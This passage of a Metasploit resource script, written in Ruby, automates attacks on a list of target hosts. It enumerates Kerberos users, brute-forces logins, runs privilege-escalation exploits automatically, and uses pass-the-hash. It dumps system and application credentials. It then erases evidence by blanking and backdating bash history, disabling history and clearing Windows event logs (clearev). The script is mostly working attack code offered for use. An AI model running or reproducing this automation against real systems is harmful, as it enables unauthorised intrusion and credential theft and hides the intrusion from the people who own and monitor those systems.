re = Regexp.new(map.keys.map { |x| Regexp.escape(x) }.join('|'))
dom = org.gsub!(re, map).upcase
run_single("use auxiliary/gather/kerberos_enumusers")
run_single("set RHOST #{line}")
run_single("set DOMAIN #{dom}")
run_single("set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt")
run_single("run")
run_single("back")
run_single("creds -o /root/uid.tmp")
# find server domain name
down = dom.downcase.split(".", 2)
domain = down[1]
run_single("setg DOMAIN #{domain}")
i=10
logins = []
file = File.open("uid.tmp")
data = File.read("uid.tmp").split(',')
while i < data.length
logins.push(data[i].gsub!('"', ''))
i=i+7
end
f = File.open("/root/uid.txt", "w+") { |f| logins.each { |line| f << "#{line}\n"} }
File.delete("/root/uid.tmp")
end
end
end
end
end
end
# If we have found some users, put them on users file
if (File.exist?('/root/uid.txt') and !(File.zero?('/root/uid.txt')))
run_single("setg USER_FILE /root/uid.txt")
userfile = true
end
# If exploits don't work, try brute force on services
if (framework.sessions.length <= 0)
framework.db.hosts.each do |host|
if (host.os_name =~ /[Ll]inux/)
run_single("set VERBOSE true")
run_single("set THREADS #{cores}")
run_single("resource /usr/share/metasploit-framework/scripts/resource/auto_brute.rc")
elsif (host.os_name =~ /[Ww]indows/)
run_single("set VERBOSE true")
run_single("set THREADS #{cores}")
run_single("resource /usr/share/metasploit-framework/scripts/resource/auto_brute.rc")
end
end
end
# If it found some credentials, save them to later use
if (framework.db.creds.length > 0)
bruteforce()
end
# If we get a login and OS type is Linux, test if it gets sudo
if (framework.sessions.length > 0)
framework.db.hosts.each do |host|
if (host.os_name =~ /[Ll]inux/)
run_single("use post/multi/manage/sudo")
run_single("set SESSION 1")
run_single("run")
run_single("sessions -i 1 -c 'id -u'")
run_single("back")
end
end
end
# If there is an web service, do it's own scan
framework.db.hosts.each do |host|
host.services.each do |serv|
if (serv.state == Msf::ServiceState::Open)
if ((serv.port.to_i == 80) or (serv.port.to_i == 443) or (serv.port.to_i == 8080))
run_single("load wmap")
run_single("wmap_sites -a http://#{line}")
run_single("wmap_targets -t http://#{line}")
run_single("wmap_run -t")
run_single("wmap_run -e")
run_single("wmap_vulns -l")
end
end
end
end
# After dump Windows hashes, try sys access with psexec
if (framework.sessions.length > 0)
framework.db.hosts.each do |host|
if (host.os_name =~ /[Ww]indows/)
framework.db.creds.each do |creds|
next if (creds.ptype =~ /smb_hash/)
run_single("resource /usr/share/metasploit-framework/scripts/resource/auto_pass_the_hash.rc")
end
end
end
end
# Call smb() & postenum() functions
framework.db.hosts.each do |host|
if (host.os_name =~ /[Ww]indows/)
host.services.each do |serv|
if (serv.state == Msf::ServiceState::Open)
if ((serv.port.to_i == 445) or (serv.port.to_i == 139))
smb("#{line}")
postenum()
end
end
end
end
end
# If there're some session, get some exploits for scalate to root \ admin
expl = ''
log = ''
if (framework.sessions.length > 0)
sess = framework.sessions.length
print_good("#{sess}")
run_single("sessions -u #{sess}")
meter = sess + 1
run_single("use post/multi/recon/local_exploit_suggester")
run_single("set session #{meter}")
run_single("spool /root/output.txt")
run_single("run")
run_single("back")
file = File.open("/root/output.txt", "r")
log = file.read
log.each_line do |line|
if line =~ /.* - exploit.*/
expl += line
end
end
run_single("spool off")
file.close
File.delete('/root/output.txt')
expl.gsub!(/.*\d.\d.\d.\d - /) { '' }
expl.gsub!(/:\s.*/) { '' }
expl.each_line do |line|
run_single("use #{line}")
run_single("set session #{meter}")
run_single("exploit -j")
end
run_single("sessions -l")
#
end
# Post exploit on Linux
if (framework.sessions.length > 0)
framework.db.hosts.each do |host|
if (host.os_name =~ /[Ll]indows/)
if ( "#{$ADMUSER}" != '' && "#{$ADMPASS}" != '')
run_single("setg USERNAME = #{$ADMUSER}")
run_single("setg PASSWORD = #{$ADMPASS}")
end
end
end
end
if (framework.sessions.length > 0)
framework.db.hosts.each do |host|
if (host.os_name =~ /[Ll]indows/)
run_single("sys_creds -s 1")
run_single("sessions -i 1 -c 'echo > ~/.bash_history'")
run_single("sessions -i 1 -c 'touch -r /etc/passwd ~/.bash_history'")
run_single("sessions -i 1 -c 'export HISTSIZE=0'")
end
end
end
# Post exploit on Windows
if (framework.sessions.length > 0)
framework.db.hosts.each do |host|
if (host.os_name =~ /[Ww]indows/)
run_single("app_creds -s 1")
run_single("sys_creds -s 1")
run_single("clearev")
end
end
end
# Generate a XML report if there are some open session
if (framework.sessions.length > 0)
run_single("db_export -f xml -a /root/#{line}.xml")
edtxml(line)
line="#{line}".chomp
# huge XML's bug
# decode64(line)
# To create PDF reports, install Apache's FOP from https://xmlgraphics.apache.org/fop/download.html on /opt
if ($?.success?)
run_single("xsltproc --output /root/#{line}.fo --stringparam fop1.extensions 1 /root/metasploitReportTemplate.xsl /root/#{line}.xml")
run_single("/opt/fop /root/#{line}.fo /root/#{line}.pdf")
end
# Send PDF report to email with reportEmail plugin
if ($?.success?)
run_single("reportEmail #{line}")
end
if ($?.success?)
File.delete("/root/#{line}.xml")
File.delete("/root/#{line}.fo")
end
end
# If LDAP or AD user file exist, remove it
if (File.file?('/root/uid.txt'))
File.delete('/root/uid.txt')
end
# Terminate all open sessions and remove host from DB to don't contaminate next scan
run_single("sessions -K")
framework.db.hosts.each do |host|
if (host.address != nil || host.address != 0)
run_single("hosts -d")
end
end
run_single("workspace -d #{line}")
# after this host, back to original userfile
if (userfile)
if (user_file != '')
run_single("setg USER_FILE #{pathdefault}#{user_file}")
else
run_single("setg USER_FILE #{pathdefault}unix_users.txt")
end
end
# Remove this IP from list to don't repeat it in case of script restart
File.open(path, 'w+') {|file| file.write(remains)}
}
run_single("quit")
</ruby>